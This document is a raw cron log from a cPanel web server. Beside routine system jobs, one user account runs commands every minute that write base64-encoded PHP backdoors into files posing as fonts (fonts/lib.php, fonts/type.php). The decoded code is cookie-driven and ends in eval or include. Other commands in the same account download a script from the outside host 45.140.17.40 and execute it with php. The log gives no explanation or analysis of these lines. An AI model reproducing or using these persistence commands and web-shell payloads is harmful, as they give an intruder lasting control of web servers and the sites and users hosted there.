Sep  7 15:53:01 ip-184-168-122-23 CROND[23038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:53:01 ip-184-168-122-23 CROND[23036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:54:01 ip-184-168-122-23 CROND[23329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:54:01 ip-184-168-122-23 CROND[23331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:54:01 ip-184-168-122-23 CROND[23332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:54:01 ip-184-168-122-23 CROND[23335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:54:01 ip-184-168-122-23 CROND[23334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:55:02 ip-184-168-122-23 CROND[23492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:55:02 ip-184-168-122-23 CROND[23493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:55:02 ip-184-168-122-23 CROND[23495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:55:02 ip-184-168-122-23 CROND[23497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 15:55:02 ip-184-168-122-23 CROND[23498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:55:02 ip-184-168-122-23 CROND[23496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 15:56:01 ip-184-168-122-23 CROND[23586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:56:01 ip-184-168-122-23 CROND[23588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:56:01 ip-184-168-122-23 CROND[23590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:56:01 ip-184-168-122-23 CROND[23589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:56:01 ip-184-168-122-23 CROND[23591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:57:01 ip-184-168-122-23 CROND[23753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:57:01 ip-184-168-122-23 CROND[23754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:57:01 ip-184-168-122-23 CROND[23755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:57:01 ip-184-168-122-23 CROND[23756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:58:02 ip-184-168-122-23 CROND[23854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 15:58:02 ip-184-168-122-23 CROND[23857]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 15:58:02 ip-184-168-122-23 CROND[23858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:58:02 ip-184-168-122-23 CROND[23856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:58:02 ip-184-168-122-23 CROND[23860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:59:01 ip-184-168-122-23 CROND[24141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 15:59:01 ip-184-168-122-23 CROND[24142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 15:59:01 ip-184-168-122-23 CROND[24144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 15:59:01 ip-184-168-122-23 CROND[24146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:00:01 ip-184-168-122-23 CROND[24330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:00:01 ip-184-168-122-23 CROND[24331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:00:01 ip-184-168-122-23 CROND[24332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:00:01 ip-184-168-122-23 CROND[24334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:00:01 ip-184-168-122-23 CROND[24338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:00:01 ip-184-168-122-23 CROND[24333]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:00:01 ip-184-168-122-23 CROND[24336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:00:01 ip-184-168-122-23 CROND[24337]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 16:00:01 ip-184-168-122-23 CROND[24335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:01:01 ip-184-168-122-23 CROND[24484]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 16:01:01 ip-184-168-122-23 CROND[24487]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 16:01:01 ip-184-168-122-23 CROND[24486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:01:01 ip-184-168-122-23 CROND[24485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:01:01 ip-184-168-122-23 CROND[24489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:01:01 ip-184-168-122-23 CROND[24488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24484]: starting 0anacron
Sep  7 16:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24505]: finished 0anacron
Sep  7 16:02:01 ip-184-168-122-23 CROND[24604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:02:01 ip-184-168-122-23 CROND[24606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:02:01 ip-184-168-122-23 CROND[24607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:02:01 ip-184-168-122-23 CROND[24605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:02:01 ip-184-168-122-23 CROND[24608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:03:01 ip-184-168-122-23 CROND[24792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:03:01 ip-184-168-122-23 CROND[24793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:03:01 ip-184-168-122-23 CROND[24795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:03:01 ip-184-168-122-23 CROND[24796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:04:01 ip-184-168-122-23 CROND[24889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:04:01 ip-184-168-122-23 CROND[24890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:04:01 ip-184-168-122-23 CROND[24893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:04:01 ip-184-168-122-23 CROND[24892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:04:01 ip-184-168-122-23 CROND[24898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:05:01 ip-184-168-122-23 CROND[25013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:05:01 ip-184-168-122-23 CROND[25015]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 16:05:01 ip-184-168-122-23 CROND[25017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:05:01 ip-184-168-122-23 CROND[25016]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:05:01 ip-184-168-122-23 CROND[25019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
